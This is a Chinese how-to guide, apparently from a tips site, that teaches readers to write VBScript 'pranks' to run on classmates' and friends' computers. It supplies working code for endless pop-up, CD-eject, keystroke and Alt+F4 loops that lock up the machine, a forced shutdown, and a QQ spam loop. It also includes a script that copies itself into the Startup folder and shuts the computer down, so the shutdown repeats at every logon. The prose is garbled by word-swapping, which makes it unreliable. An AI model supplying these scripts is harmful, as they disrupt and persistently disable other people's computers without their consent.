方法/步骤
- 1
新手讲授（大神请跳到第五步）：
编写vbs有多简略？新建"文本文档"，输入msgbox"一大波病毒正在接近..." ，点击文件->另存为->重定名为"代码.vbs"。文件名不重要，重要的是后缀如果".vbs"。
- 2
双击生存的文件：代码.vbs，即弹出一个对话框。记下这段小小的代码，去同窗家里恶搞吧。固然您还可以输入其他有趣的文字。
- 3
固然，云云恶搞照旧不敷的。那就来一个无穷轮回吧，输入图中代码另存为vbs格局。双击打开。此时，会弹出提醒对话框，点击确定和封闭按钮之后，再一次弹出窗口，云云轮回，无法正常封闭。
- 4
那么到底要怎样才能封闭呢？打开使命办理器竣事进程"wscript.exe"即可
- 5
到此新手讲授完毕，下面进入大神讲堂讲授。
无穷弹出光驱：
------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
- 6
无尽语音报数：
无穷语音从1数到无穷大。
------------------------------------------------
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
- 7
无尽刷新：
慎用，云云刷新打开使命办理器都难，只能拔失电源。
------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
------------------------------------------------
- 8
修改注册表：
------------------------------------------------
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown-p",vbhide
------------------------------------------------
- 9
QQ信息骚扰恶搞：
打开摰友的谈天对话框，然跋文下谈天对话框的名称（如图：小敏），把下面代码里的小敏替代一下。代码中的"10"代表发送次数，把10修改一下就可以自界说发送QQ信息到摰友的次数。把发送的内容"复制"即可，当打开本vbs的时辰就会把剪切板里的内容粘贴发送已往。
------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("小敏")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
------------------------------------------------
- 10
直接关机：
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown-f-s-t 00",0 ,true
------------------------------------------------
- 11
不停按下alt+f4 ：
打开任何程序都关失
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
------------------------------------------------
- 12
恶作剧也得有个度，凡事都不要太甚。上面的代码的标准还不算很大，各人可以玩玩。
END
注重事项
如您感觉此的经验不错，可以点击下面的"大拇指"赐与撑持，也可以点击下面的"五角星"来保藏。感觉可以帮忙伴侣，还可点击右边角的"双箭头"分享，要是您也喜欢计较机收集技巧，可以点击存眷哦！
